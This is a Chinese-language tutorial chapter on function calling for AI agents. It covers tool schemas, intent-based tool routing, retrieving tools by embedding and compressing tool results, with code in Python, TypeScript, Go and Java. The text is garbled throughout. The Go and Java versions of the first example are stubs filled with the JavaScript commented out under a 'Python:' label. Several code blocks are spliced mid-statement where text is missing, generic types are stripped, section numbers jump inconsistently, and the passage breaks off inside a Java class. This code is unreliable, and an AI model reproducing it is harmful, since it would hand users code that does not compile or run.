第10章 Function-Calling与工具设计
来源:https://ai-agent-guide.xiaofuge.cn/chapters/ch06-tools.html 所属:第三篇-Agent的手脚
从单次调用到智能路由——工具系统的工程实践 🔧 这章最重要的不是工具多,而是闭环完整
很多人学工具调用时,会急着堆很多 API、很多 Skill。其实真正的最小闭环只有四步:用户提问 → 模型判断要不要用工具 → 框架执行工具 → 模型基于结果回答。
只要你把这个闭环理解透了,后面的工具路由、Skill 分层、并发控制都只是工程强化。反过来,如果这个闭环都没跑顺,就不该继续往系统设计上堆复杂度。
10.1 LLM 的能力边界
LLM 再强大,也有硬伤:
❌ LLM 做不到的事
- 获取实时信息(天气、新闻、股价)
- 执行代码和数学计算
- 读写文件和数据库
- 发送消息和调用外部服务
- 访问互联网
✅ 工具让 Agent 做到的事
- 搜索引擎获取实时信息
- Python 沙箱执行代码
- 文件系统和数据库操作
- 发邮件、调 API、发消息
- 网页爬取和自动化操作
LLM 是大脑,工具是手脚。没有工具的 Agent 就像一个瘫痪的天才——什么都懂,但什么都做不了。
10.2 工具调用的三代演进
1
第一代:Prompt 工程(2022-2023)
在 System Prompt 中描述工具格式,让 LLM 输出特定格式的文本(如 "Action: search(query)"),框架再解析执行。代表:ReAct 原始论文、LangChain Agent。
← 1 / 3 → 重播
10.3 Function Calling 详解
Function Calling 是目前工具调用的主流方式。来看完整的调用流程:
工具定义:JSON Schema
// 定义工具
const tools = [
{
type: "function",
function: {
name: "get_weather",
description: "获取指定城市的天气信息",
parameters: {
type: "object",
properties: {
city: {
type: "string",
description: "城市名称,如:北京、上海"
},
date: {
type: "string",
description: "日期,格式 YYYY-MM-DD,默认今天"
}
},
required: ["city"]
}
}
},
{
type: "function",
function: {
name: "run_python",
description: "执行 Python 代码并返回输出",
parameters: {
type: "object",
properties: {
code: {
type: "string",
description: "要执行的 Python 代码"
}
},
required: ["code"]
}
}
}
];
// 调用 LLM
const response = await openai.chat.completions.create({
model: "gpt-4o",
messages: [{ role: "user", content: "北京明天天气怎么样?" }],
tools: tools // 传入工具定义
});
// LLM 返回函数调用
const toolCall = response.choices[0].message.tool_calls[0];
// { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// 执行实际函数
const result = await getWeather("北京", "2026-07-02");
// 结果回传 LLM 生成自然语言回答
const finalResponse = await openai.chat.completions.create({
model: "gpt-4o",
messages: [
{ role: "user", content: "北京明天天气怎么样?" },
response.choices[0].message,
{ role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
]
});
// // 定义工具
// const tools = [
// {
// type: "function",
// function: {
// name: "get_weather",
// description: "获取指定城市的天气信息",
// parameters: {
// type: "object",
// properties: {
// city: {
// type: "string",
// description: "城市名称,如:北京、上海"
// },
// date: {
// type: "string",
// description: "日期,格式 YYYY-MM-DD,默认今天"
// }
// },
// required: ["city"]
// }
// }
// },
// {
// type: "function",
// function: {
// name: "run_python",
// description: "执行 Python 代码并返回输出",
// parameters: {
// type: "object",
// properties: {
// code: {
// type: "string",
// description: "要执行的 Python 代码"
// }
// },
// required: ["code"]
// }
// }
// }
// ];
// // 调用 LLM
// const response = await openai.chat.completions.create({
// model: "gpt-4o",
// messages: [{ role: "user", content: "北京明天天气怎么样?" }],
// tools: tools // 传入工具定义
// });
// // LLM 返回函数调用
// const toolCall = response.choices[0].message.tool_calls[0];
// // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// // 执行实际函数
// const result = await getWeather("北京", "2026-07-02");
// // 结果回传 LLM 生成自然语言回答
// const finalResponse = await openai.chat.completions.create({
// model: "gpt-4o",
// messages: [
// { role: "user", content: "北京明天天气怎么样?" },
// response.choices[0].message,
// { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// ]
// });
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// Python: // 定义工具
// Python: const tools = [
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "get_weather",
// Python: description: "获取指定城市的天气信息",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: city: {
// Python: type: "string",
// Python: description: "城市名称,如:北京、上海"
// Python: },
// Python: date: {
// Python: type: "string",
// Python: description: "日期,格式 YYYY-MM-DD,默认今天"
// Python: }
// Python: },
// Python: required: ["city"]
// Python: }
// Python: }
// Python: },
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "run_python",
// Python: description: "执行 Python 代码并返回输出",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: code: {
// Python: type: "string",
// Python: description: "要执行的 Python 代码"
// Python: }
// Python: },
// Python: required: ["code"]
// Python: }
// Python: }
// Python: }
// Python: ];
// Python: // 调用 LLM
// Python: const response = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [{ role: "user", content: "北京明天天气怎么样?" }],
// Python: tools: tools // 传入工具定义
// Python: });
// Python: // LLM 返回函数调用
// Python: const toolCall = response.choices[0].message.tool_calls[0];
// Python: // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// Python: // 执行实际函数
// Python: const result = await getWeather("北京", "2026-07-02");
// Python: // 结果回传 LLM 生成自然语言回答
// Python: const finalResponse = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [
// Python: { role: "user", content: "北京明天天气怎么样?" },
// Python: response.choices[0].message,
// Python: { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// Python: ]
// Python: });
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// Python: // 定义工具
// Python: const tools = [
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "get_weather",
// Python: description: "获取指定城市的天气信息",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: city: {
// Python: type: "string",
// Python: description: "城市名称,如:北京、上海"
// Python: },
// Python: date: {
// Python: type: "string",
// Python: description: "日期,格式 YYYY-MM-DD,默认今天"
// Python: }
// Python: },
// Python: required: ["city"]
// Python: }
// Python: }
// Python: },
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "run_python",
// Python: description: "执行 Python 代码并返回输出",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: code: {
// Python: type: "string",
// Python: description: "要执行的 Python 代码"
// Python: }
// Python: },
// Python: required: ["code"]
// Python: }
// Python: }
// Python: }
// Python: ];
// Python: // 调用 LLM
// Python: const response = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [{ role: "user", content: "北京明天天气怎么样?" }],
// Python: tools: tools // 传入工具定义
// Python: });
// Python: // LLM 返回函数调用
// Python: const toolCall = response.choices[0].message.tool_calls[0];
// Python: // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// Python: // 执行实际函数
// Python: const result = await getWeather("北京", "2026-07-02");
// Python: // 结果回传 LLM 生成自然语言回答
// Python: const finalResponse = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [
// Python: { role: "user", content: "北京明天天气怎么样?" },
// Python: response.choices[0].message,
// Python: { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// Python: ]
// Python: });
}
10.4 工具分类体系
🔧 Agent 工具全景
🔍 信息获取
- Web 搜索(Google/Bing API)
- 天气查询
- 新闻聚合
- 知识库检索(RAG)
- 数据库查询
⚙️ 代码执行
- Python REPL(沙箱)
- Shell 命令执行
- SQL 执行器
- JavaScript 运行时
- Jupyter Notebook
📝 文件操作
- 读写文件
- 创建/删除目录
- 文件搜索
- PDF/Word/Excel 解析
- 文件格式转换
🌐 通信交互
- 发送邮件
- HTTP 请求
- Webhook 调用
- 消息推送(Slack/Discord)
- 浏览器自动化
🔗 关于 Skills(工具的组合与复用)
Function Calling 是单次工具调用的基础。但当 Agent 需要组合多个工具、形成可复用的能力包时,就进入了 Skills 的领域——Skill 的定义、三层结构、匹配与路由、分层体系、沉淀机制等完整内容,请参见第12章「Skills:工具的组合与复用」。
本章接下来的内容聚焦于工具调用的工程实践:意图识别与工具路由(9.10)、上下文工程与工具管理(9.11)、消息压缩(9.12)、Structured Output(9.13)、实战路由系统(9.14)、并发控制与弱模型兼容(9.15)。
10.10 意图识别与工具路由
用户说"帮我查下北京天气",Agent 需要先理解用户到底想做什么,才能选到正确的工具。这就是意图识别——工具路由的"大脑"。
意图分类体系
🧠 四类意图 → 四类工具
🔍 信息获取意图
用户想知道某件事。关键词:查、看、了解、搜索、查询。
例:"北京天气怎么样" → 搜索/天气API
例:"最新的AI论文有哪些" → 搜索工具
⚙️ 代码执行意图
用户想运行代码做计算。关键词:算、运行、执行、分析、处理。
例:"用Python画个饼图" → Python沙箱
例:"计算这组数据的标准差" → 代码执行工具
📝 文件操作意图
用户想读写操作文件。关键词:保存、读取、修改、创建、导出。
例:"把结果保存为CSV" → 文件写入工具
例:"读取这份PDF的内容" → PDF解析工具
🌐 通信交互意图
用户想发送消息或调用服务。关键词:发、通知、推送、提交、调用。
例:"给张三发邮件" → 邮件工具
例:"推送消息到Slack" → Slack API工具
隐式意图识别
用户不会总是明确说"我要搜索"或"我要执行代码"。很多请求是隐式的: | 用户说 | 表面意思 | 隐式意图 | 应选工具 | | --- | --- | --- | --- | | "帮我查下北京天气" | 查询天气 | 信息获取 | 天气API / 搜索 | | "这个数据有什么规律" | 分析数据 | 代码执行 | Python沙箱 | | "把这个报告存下来" | 保存文件 | 文件操作 | 文件写入 | | "提醒团队下午开会" | 通知 | 通信交互 | Slack / 邮件 | 意图识别的核心不是关键词匹配,而是理解用户想达成的目标。"查天气"和"外面冷不冷"表面完全不同,但意图相同。
复合意图拆解
很多用户请求包含多个意图,需要拆解后依次或并行执行:
from enum import Enum
from dataclasses import dataclass
from typing import List
class IntentType(Enum):
INFO_QUERY = "信息获取" # 搜索、查询、获取
CODE_EXEC = "代码执行" # 计算、分析、运行
FILE_OP = "文件操作" # 读写、保存、导出
COMM_INTERACT = "通信交互" # 发送、通知、推送
@dataclass
class Intent:
type: IntentType
original_text: str # 原始用户表述
target: str # 具体目标(如"北京天气")
priority: int = 0 # 执行优先级,0最高
depends_on: List[str] = None # 依赖的前置意图ID
# 意图分类器 —— 可用LLM或轻量模型实现
INTENT_KEYWORDS = {
IntentType.INFO_QUERY: ["查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"],
IntentType.CODE_EXEC: ["算", "运行", "执行", "分析", "处理", "画", "计算", "统计"],
IntentType.FILE_OP: ["保存", "读取", "修改", "创建", "导出", "写入", "下载"],
IntentType.COMM_INTERACT: ["发", "通知", "推送", "提交", "发送", "提醒", "转发"],
}
def classify_intent(user_input: str) -> List[Intent]:
"""识别意图,支持复合意图拆解"""
intents = []
# 简单关键词匹配 → 生产环境应替换为LLM意图分类
# 复合请求检测:包含"并""然后""再"等连接词
sub_requests = split_composite_request(user_input)
for sub in sub_requests:
matched_type = None
for intent_type, keywords in INTENT_KEYWORDS.items():
if any(kw in sub for kw in keywords):
matched_type = intent_type
break
if matched_type:
intents.append(Intent(
type=matched_type,
original_text=sub,
target=extract_target(sub)
))
# 设置依赖关系:后置意图可能依赖前置意图的结果
for i in range(1, len(intents)):
if intents[i].type == IntentType.CODE_EXEC and intents[i-1].type == IntentType.INFO_QUERY:
intents[i].depends_on = [intents[i-1].original_text]
return intents
def split_composite_request(text: str) -> List[str]:
"""拆解复合请求"""
connectors = ["并", "然后", "再", "接着", "以及", "而且"]
for conn in connectors:
if conn in text:
parts = text.split(conn, 1)
return [p.strip() for p in parts if p.strip()]
return [text]
def extract_target(text: str) -> str:
"""提取意图目标(简化版)"""
# 去掉意图关键词,保留核心内容
for keywords in INTENT_KEYWORDS.values():
for kw in keywords:
if kw in text:
return text.replace(kw, "").strip()
return text
# 意图 → 工具映射
INTENT_TOOL_MAP = {
IntentType.INFO_QUERY: ["web_search", "weather_api", "news_api", "knowledge_base"],
IntentType.CODE_EXEC: ["python_executor", "sql_executor", "js_runtime"],
IntentType.FILE_OP: ["file_read", "file_write", "pdf_parser", "csv_handler"],
IntentType.COMM_INTERACT: ["send_email", "slack_notify", "webhook_call"],
}
def route_to_tools(intents: List[Intent]) -> List[str]:
"""意图 → 工具名称映射"""
candidate_tools = []
for intent in intents:
candidate_tools.extend(INTENT_TOOL_MAP.get(intent.type, []))
return candidate_tools
# ===== 使用示例 =====
user_request = "帮我搜索最新的AI论文并用Python分析引用趋势"
intents = classify_intent(user_request)
for i, intent in enumerate(intents):
print(f"意图{i+1}: {intent.type.value} | 目标: {intent.target}")
if intent.depends_on:
print(f" ⚠️ 依赖前置结果: {intent.depends_on}")
# 输出:
# 意图1: 信息获取 | 目标: 最新的AI论文
# 意图2: 代码执行 | 目标: 分析引用趋势
# ⚠️ 依赖前置结果: ['最新的AI论文']
tools = route_to_tools(intents)
print(f"候选工具: {tools}")
# 输出: 候选工具: ['web_search', 'weather_api', ..., 'python_executor', ...]
enum IntentType {
INFO_QUERY = '信息获取',
CODE_EXEC = '代码执行',
FILE_OP = '文件操作',
COMM_INTERACT = '通信交互'
}
interface Intent {
type: IntentType;
originalText: string;
target: string;
priority: number;
dependsOn: string[] | null;
}
const INTENT_KEYWORDS: Record = {
[IntentType.INFO_QUERY]: ['查', '看', '搜索', '查询', '了解', '什么', '多少', '怎样'],
[IntentType.CODE_EXEC]: ['算', '运行', '执行', '分析', '处理', '画', '计算', '统计'],
[IntentType.FILE_OP]: ['保存', '读取', '修改', '创建', '导出', '写入', '下载'],
[IntentType.COMM_INTERACT]: ['发', '通知', '推送', '提交', '发送', '提醒', '转发']
};
function classifyIntent(userInput: string): Intent[] {
const intents: Intent[] = [];
const subRequests = splitCompositeRequest(userInput);
for (const sub of subRequests) {
let matchedType: IntentType | null = null;
for (const [intentType, keywords] of Object.entries(INTENT_KEYWORDS)) {
if (keywords.some(kw => sub.includes(kw))) {
matchedType = intentType as IntentType;
break;
}
}
if (matchedType) {
intents.push({
type: matchedType,
originalText: sub,
target: extractTarget(sub),
priority: 0,
dependsOn: null
});
}
}
for (let i = 1; i p.trim()).filter(p => p);
}
}
return [text];
}
function extractTarget(text: string): string {
for (const keywords of Object.values(INTENT_KEYWORDS)) {
for (const kw of keywords) {
if (text.includes(kw)) {
return text.replace(kw, '').trim();
}
}
}
return text;
}
const INTENT_TOOL_MAP: Record = {
[IntentType.INFO_QUERY]: ['web_search', 'weather_api', 'news_api', 'knowledge_base'],
[IntentType.CODE_EXEC]: ['python_executor', 'sql_executor', 'js_runtime'],
[IntentType.FILE_OP]: ['file_read', 'file_write', 'pdf_parser', 'csv_handler'],
[IntentType.COMM_INTERACT]: ['send_email', 'slack_notify', 'webhook_call']
};
function routeToTools(intents: Intent[]): string[] {
const tools: string[] = [];
for (const intent of intents) {
tools.push(...INTENT_TOOL_MAP[intent.type]);
}
return tools;
}
// ===== 使用示例 =====
const userRequest = '帮我搜索最新的AI论文并用Python分析引用趋势';
const intents = classifyIntent(userRequest);
intents.forEach((intent, i) => {
console.log(`意图${i+1}: ${intent.type} | 目标: ${intent.target}`);
if (intent.dependsOn) {
console.log(` ⚠️ 依赖前置结果: ${intent.dependsOn}`);
}
});
const tools = routeToTools(intents);
console.log(`候选工具: ${tools}`);
package main
import (
"fmt"
"strings"
)
type IntentType string
const (
IntentInfoQuery IntentType = "信息获取"
IntentCodeExec IntentType = "代码执行"
IntentFileOp IntentType = "文件操作"
IntentCommInteract IntentType = "通信交互"
)
type Intent struct {
Type IntentType
OriginalText string
Target string
Priority int
DependsOn []string
}
var intentKeywords = map[IntentType][]string{
IntentInfoQuery: {"查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"},
IntentCodeExec: {"算", "运行", "执行", "分析", "处理", "画", "计算", "统计"},
IntentFileOp: {"保存", "读取", "修改", "创建", "导出", "写入", "下载"},
IntentCommInteract: {"发", "通知", "推送", "提交", "发送", "提醒", "转发"},
}
func classifyIntent(userInput string) []Intent {
var intents []Intent
subRequests := splitCompositeRequest(userInput)
for _, sub := range subRequests {
var matchedType IntentType
for itype, keywords := range intentKeywords {
for _, kw := range keywords {
if strings.Contains(sub, kw) {
matchedType = itype
break
}
}
if matchedType != "" {
break
}
}
if matchedType != "" {
intents = append(intents, Intent{
Type: matchedType,
OriginalText: sub,
Target: extractTarget(sub),
})
}
}
for i := 1; i dependsOn;
Intent(IntentType type, String originalText, String target) {
this.type = type;
this.originalText = originalText;
this.target = target;
}
}
static final Map> INTENT_KEYWORDS = new EnumMap<>(IntentType.class);
static final Map> INTENT_TOOL_MAP = new EnumMap<>(IntentType.class);
static {
INTENT_KEYWORDS.put(IntentType.INFO_QUERY, Arrays.asList("查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"));
INTENT_KEYWORDS.put(IntentType.CODE_EXEC, Arrays.asList("算", "运行", "执行", "分析", "处理", "画", "计算", "统计"));
INTENT_KEYWORDS.put(IntentType.FILE_OP, Arrays.asList("保存", "读取", "修改", "创建", "导出", "写入", "下载"));
INTENT_KEYWORDS.put(IntentType.COMM_INTERACT, Arrays.asList("发", "通知", "推送", "提交", "发送", "提醒", "转发"));
INTENT_TOOL_MAP.put(IntentType.INFO_QUERY, Arrays.asList("web_search", "weather_api", "news_api", "knowledge_base"));
INTENT_TOOL_MAP.put(IntentType.CODE_EXEC, Arrays.asList("python_executor", "sql_executor", "js_runtime"));
INTENT_TOOL_MAP.put(IntentType.FILE_OP, Arrays.asList("file_read", "file_write", "pdf_parser", "csv_handler"));
INTENT_TOOL_MAP.put(IntentType.COMM_INTERACT, Arrays.asList("send_email", "slack_notify", "webhook_call"));
}
static List classifyIntent(String userInput) {
List intents = new ArrayList<>();
List subRequests = splitCompositeRequest(userInput);
for (String sub : subRequests) {
IntentType matchedType = null;
for (Map.Entry> entry : INTENT_KEYWORDS.entrySet()) {
for (String kw : entry.getValue()) {
if (sub.contains(kw)) {
matchedType = entry.getKey();
break;
}
}
if (matchedType != null) break;
}
if (matchedType != null) {
intents.add(new Intent(matchedType, sub, extractTarget(sub)));
}
}
for (int i = 1; i splitCompositeRequest(String text) {
String[] connectors = {"并", "然后", "再", "接着", "以及", "而且"};
for (String conn : connectors) {
if (text.contains(conn)) {
String[] parts = text.split(java.util.regex.Pattern.quote(conn), 2);
List result = new ArrayList<>();
for (String p : parts) {
p = p.trim();
if (!p.isEmpty()) result.add(p);
}
return result;
}
}
return Collections.singletonList(text);
}
static String extractTarget(String text) {
for (List keywords : INTENT_KEYWORDS.values()) {
for (String kw : keywords) {
if (text.contains(kw)) {
return text.replace(kw, "").trim();
}
}
}
return text;
}
static List routeToTools(List intents) {
List tools = new ArrayList<>();
for (Intent intent : intents) {
tools.addAll(INTENT_TOOL_MAP.get(intent.type));
}
return tools;
}
public static void main(String[] args) {
String userRequest = "帮我搜索最新的AI论文并用Python分析引用趋势";
List intents = classifyIntent(userRequest);
for (int i = 0; i str:
"""构建工具的可搜索文本:名称+描述+参数摘要"""
func = tool["function"]
text = f"{func['name']}: {func['description']}"
if "parameters" in func:
props = func["parameters"].get("properties", {})
for pname, pinfo in props.items():
text += f" | 参数{pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
def retrieve(self, user_query: str, top_k: int = 5) -> List[Dict]:
"""根据用户请求检索最相关的 Top-K 工具"""
query_emb = self.embedding_model.encode(user_query)
# cosine 相似度
similarities = np.dot(self.tool_embeddings, query_emb) / \
(np.linalg.norm(self.tool_embeddings, axis=1) * np.linalg.norm(query_emb))
top_indices = np.argsort(similarities)[-top_k:][::-1]
return [self.tools[i] for i in top_indices]
# ===== 使用示例 =====
tool_rag = ToolRAG(embedding_model=my_encoder, tools=all_50_tools)
# 用户请求来了
user_query = "帮我查下北京明天的天气"
relevant_tools = tool_rag.retrieve(user_query, top_k=3)
# 返回: [get_weather, web_search, news_api]
# 只把相关工具传给 LLM
response = openai.chat.completions.create(
model="gpt-4o",
messages=[{"role": "user", "content": user_query}],
tools=relevant_tools # ← 只传3个,而非全部50个
)
import OpenAI from 'openai';
interface Tool {
type: string;
function: {
name: string;
description: string;
parameters?: any;
};
}
class ToolRAG {
private tools: Tool[];
private toolEmbeddings: number[][];
private toolTexts: string[];
constructor(embeddingModel: any, tools: Tool[]) {
this.tools = tools;
this.toolEmbeddings = [];
this.toolTexts = [];
for (const tool of tools) {
const desc = this.buildSearchText(tool);
const emb = embeddingModel.encode(desc);
this.toolEmbeddings.push(emb);
this.toolTexts.push(desc);
}
}
private buildSearchText(tool: Tool): string {
const func = tool.function;
let text = `${func.name}: ${func.description}`;
if (func.parameters?.properties) {
for (const [pname, pinfo] of Object.entries(func.parameters.properties)) {
text += ` | 参数${pname}(${(pinfo as any).type || ''}): ${(pinfo as any).description || ''}`;
}
}
return text;
}
retrieve(userQuery: string, topK: number = 5): Tool[] {
const queryEmb = this.embeddingModel.encode(userQuery);
const similarities = this.toolEmbeddings.map((emb, i) => ({
index: i,
sim: this.cosineSimilarity(emb, queryEmb)
}));
similarities.sort((a, b) => b.sim - a.sim);
return similarities.slice(0, topK).map(s => this.tools[s.index]);
}
private cosineSimilarity(a: number[], b: number[]): number {
let dot = 0, normA = 0, normB = 0;
for (let i = 0; i sims[j].sim })
if topK > len(sims) { topK = len(sims) }
result := make([]Tool, topK)
for i := 0; i tools;
private List toolEmbeddings;
private EmbeddingModel embeddingModel;
public ToolRAG(EmbeddingModel embeddingModel, List tools) {
this.tools = tools;
this.embeddingModel = embeddingModel;
this.toolEmbeddings = new ArrayList<>();
for (Tool tool : tools) {
String desc = buildSearchText(tool);
toolEmbeddings.add(embeddingModel.encode(desc));
}
}
private String buildSearchText(Tool tool) {
StringBuilder text = new StringBuilder(tool.function.name + ": " + tool.function.description);
if (tool.function.parameters != null && tool.function.parameters.properties != null) {
for (Map.Entry entry : tool.function.parameters.properties.entrySet()) {
text.append(" | 参数").append(entry.getKey())
.append("(").append(entry.getValue().type).append(")")
.append(": ").append(entry.getValue().description);
}
}
return text.toString();
}
public List retrieve(String userQuery, int topK) {
double[] queryEmb = embeddingModel.encode(userQuery);
List indexed = new ArrayList<>();
List sims = new ArrayList<>();
for (int i = 0; i topIndices = new ArrayList<>();
for (int i = 0; i Double.compare(sims.get(b), sims.get(a)));
List result = new ArrayList<>();
for (int i = 0; i Dict[str, Any]:
"""压缩工具结果:选择性保留 + 截断"""
compressed = {}
# 策略②:选择性保留关键字段
key_fields = self.KEY_FIELDS_MAP.get(tool_name, [])
if key_fields:
for field in key_fields:
if field in result:
compressed[field] = self._truncate(
result[field],
self.MAX_TOKENS_MAP.get(tool_name, 500)
)
else:
# 无预定义字段 → 全量截断
compressed = self._truncate_dict(result, self.MAX_TOKENS_MAP.get(tool_name, 500))
# 添加压缩元信息
compressed["_meta"] = {
"tool": tool_name,
"original_tokens": self._estimate_tokens(result),
"compressed_tokens": self._estimate_tokens(compressed),
"compression_ratio": round(
self._estimate_tokens(compressed) / max(self._estimate_tokens(result), 1), 2
)
}
return compressed
def summarize_result(self, tool_name: str, result: Dict[str, Any], llm_client) -> str:
"""策略①:让 LLM 生成摘要替代原始结果"""
original_text = json.dumps(result, ensure_ascii=False)
prompt = f"""请用2~3句话总结以下工具调用结果的关键信息。
工具: {tool_name}
结果: {original_text}
只保留与用户任务最相关的信息,省略细节。"""
summary = llm_client.chat(prompt)
return summary
def archive_to_vector_store(self, tool_name: str, result: Dict[str, Any],
vector_store, ref_id: str) -> str:
"""策略③:完整结果归档到向量库,Context只保留引用"""
vector_store.store(ref_id, {
"tool": tool_name,
"result": result,
"timestamp": datetime.now().isoformat()
})
# Context 中只放摘要 + 引用ID
return f"[{tool_name}结果已归档 | ref={ref_id} | 如需详情可检索]"
def _truncate(self, text: str, max_tokens: int) -> str:
"""粗略截断(1 token ≈ 1.5 中文字 / 4 英文词)"""
max_chars = max_tokens * 2 # 保守估计
if len(str(text)) > max_chars:
return str(text)[:max_chars] + "...[已截断]"
return text
def _truncate_dict(self, d: Dict, max_tokens: int) -> Dict:
"""递归截断字典"""
result = {}
remaining = max_tokens * 2
for k, v in d.items():
entry = json.dumps({k: v}, ensure_ascii=False)
if len(entry) > remaining:
result[k] = str(v)[:remaining] + "...[截断]"
break
result[k] = v
remaining -= len(entry)
return result
def _estimate_tokens(self, obj: Any) -> int:
"""粗略估算 token 数"""
text = json.dumps(obj, ensure_ascii=False)
# 中文约 1.5 字/token,英文约 4 字符/token
return len(text) // 2
# ===== 使用示例 =====
compressor = ToolResultCompressor()
# 天气工具返回了20个字段,原始2000 tokens
weather_result = {
"temperature": 28, "feels_like": 30, "humidity": 65,
"pressure": 1013, "visibility": 10, "wind_speed": 3.2,
"wind_dir": "NE", "cloud_cover": 40, "uv_index": 6,
"description": "晴间多云", "dew_point": 18,
"sunrise": "05:30", "sunset": "19:45", ... # 还有更多
}
# 压缩后只保留3个关键字段 ≈ 150 tokens
compressed = compressor.compress("get_weather", weather_result)
print(f"原始: {compressed['_meta']['original_tokens']} tokens")
print(f"压缩: {compressed['_meta']['compressed_tokens']} tokens")
print(f"压缩率: {compressed['_meta']['compression_ratio']}")
# 输出: 原始: 2000 tokens | 压缩: 150 tokens | 压缩率: 0.075
class ToolResultCompressor {
private keyFieldsMap: Record = {
'get_weather': ['temperature', 'description', 'wind_speed'],
'web_search': ['title', 'snippet', 'url'],
'run_python': ['stdout'],
'file_read': ['content_preview'],
'sql_query': ['rows_summary']
};
private maxTokensMap: Record = {
'get_weather': 200,
'web_search': 300,
'run_python': 400,
'file_read': 500,
'sql_query': 300
};
compress(toolName: string, result: Record): Record {
const compressed: Record = {};
const keyFields = this.keyFieldsMap[toolName] || [];
const maxTokens = this.maxTokensMap[toolName] || 500;
if (keyFields.length > 0) {
for (const field of keyFields) {
if (field in result) {
compressed[field] = this.truncate(result[field], maxTokens);
}
}
} else {
Object.assign(compressed, this.truncateDict(result, maxTokens));
}
compressed._meta = {
tool: toolName,
original_tokens: this.estimateTokens(result),
compressed_tokens: this.estimateTokens(compressed),
compression_ratio: Math.round(
this.estimateTokens(compressed) / Math.max(this.estimateTokens(result), 1) * 100
) / 100
};
return compressed;
}
summarizeResult(toolName: string, result: any, llmClient: { chat: (p: string) => string }): string {
const originalText = JSON.stringify(result);
const prompt = `请用2~3句话总结以下工具调用结果的关键信息。\n工具: ${toolName}\n结果: ${originalText}\n只保留与用户任务最相关的信息,省略细节。`;
return llmClient.chat(prompt);
}
archiveToVectorStore(toolName: string, result: any, vectorStore: any, refId: string): string {
vectorStore.store(refId, { tool: toolName, result, timestamp: new Date().toISOString() });
return `[${toolName}结果已归档 | ref=${refId} | 如需详情可检索]`;
}
private truncate(text: any, maxTokens: number): string {
const maxChars = maxTokens * 2;
const str = String(text);
return str.length > maxChars ? str.slice(0, maxChars) + '...[已截断]' : str;
}
private truncateDict(d: Record, maxTokens: number): Record {
const result: Record = {};
let remaining = maxTokens * 2;
for (const [k, v] of Object.entries(d)) {
const entry = JSON.stringify({ [k]: v });
if (entry.length > remaining) {
result[k] = String(v).slice(0, remaining) + '...[截断]';
break;
}
result[k] = v;
remaining -= entry.length;
}
return result;
}
private estimateTokens(obj: any): number {
return Math.floor(JSON.stringify(obj).length / 2);
}
}
// 使用示例
const compressor = new ToolResultCompressor();
const weatherResult = { temperature: 28, feels_like: 30, humidity: 65, /* ... */ };
const compressed = compressor.compress('get_weather', weatherResult);
console.log(`原始: ${compressed._meta.original_tokens} tokens`);
console.log(`压缩: ${compressed._meta.compressed_tokens} tokens`);
package main
import (
"encoding/json"
"fmt"
"strings"
"time"
)
type ToolResultCompressor struct {
keyFieldsMap map[string][]string
maxTokensMap map[string]int
}
func NewToolResultCompressor() *ToolResultCompressor {
return &ToolResultCompressor{
keyFieldsMap: map[string][]string{
"get_weather": {"temperature", "description", "wind_speed"},
"web_search": {"title", "snippet", "url"},
"run_python": {"stdout"},
},
maxTokensMap: map[string]int{
"get_weather": 200,
"web_search": 300,
"run_python": 400,
},
}
}
func (c *ToolResultCompressor) Compress(toolName string, result map[string]interface{}) map[string]interface{} {
compressed := make(map[string]interface{})
keyFields := c.keyFieldsMap[toolName]
maxTokens := c.maxTokensMap[toolName]
if maxTokens == 0 { maxTokens = 500 }
if len(keyFields) > 0 {
for _, field := range keyFields {
if val, ok := result[field]; ok {
compressed[field] = c.truncate(val, maxTokens)
}
}
} else {
compressed = c.truncateDict(result, maxTokens)
}
originalTokens := c.estimateTokens(result)
compressedTokens := c.estimateTokens(compressed)
compressed["_meta"] = map[string]interface{}{
"tool": toolName,
"original_tokens": originalTokens,
"compressed_tokens": compressedTokens,
"compression_ratio": fmt.Sprintf("%.2f", float64(compressedTokens)/float64(max(originalTokens, 1))),
}
return compressed
}
func (c *ToolResultCompressor) ArchiveToVectorStore(toolName string, result map[string]interface{}, vectorStore VectorStore, refID string) string {
vectorStore.Store(refID, map[string]interface{}{
"tool": toolName,
"result": result,
"timestamp": time.Now().Format(time.RFC3339),
})
return fmt.Sprintf("[%s结果已归档 | ref=%s | 如需详情可检索]", toolName, refID)
}
func (c *ToolResultCompressor) truncate(text interface{}, maxTokens int) string {
maxChars := maxTokens * 2
str := fmt.Sprintf("%v", text)
if len(str) > maxChars {
return str[:maxChars] + "...[已截断]"
}
return str
}
func (c *ToolResultCompressor) truncateDict(d map[string]interface{}, maxTokens int) map[string]interface{} {
result := make(map[string]interface{})
remaining := maxTokens * 2
for k, v := range d {
entryBytes, _ := json.Marshal(map[string]interface{}{k: v})
if len(entryBytes) > remaining {
result[k] = fmt.Sprintf("%v...[截断]", v)[:remaining]
break
}
result[k] = v
remaining -= len(entryBytes)
}
return result
}
func (c *ToolResultCompressor) estimateTokens(obj interface{}) int {
bytes, _ := json.Marshal(obj)
return len(bytes) / 2
}
func max(a, b int) int { if a > b { return a }; return b }
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.*;
public class ToolResultCompressor {
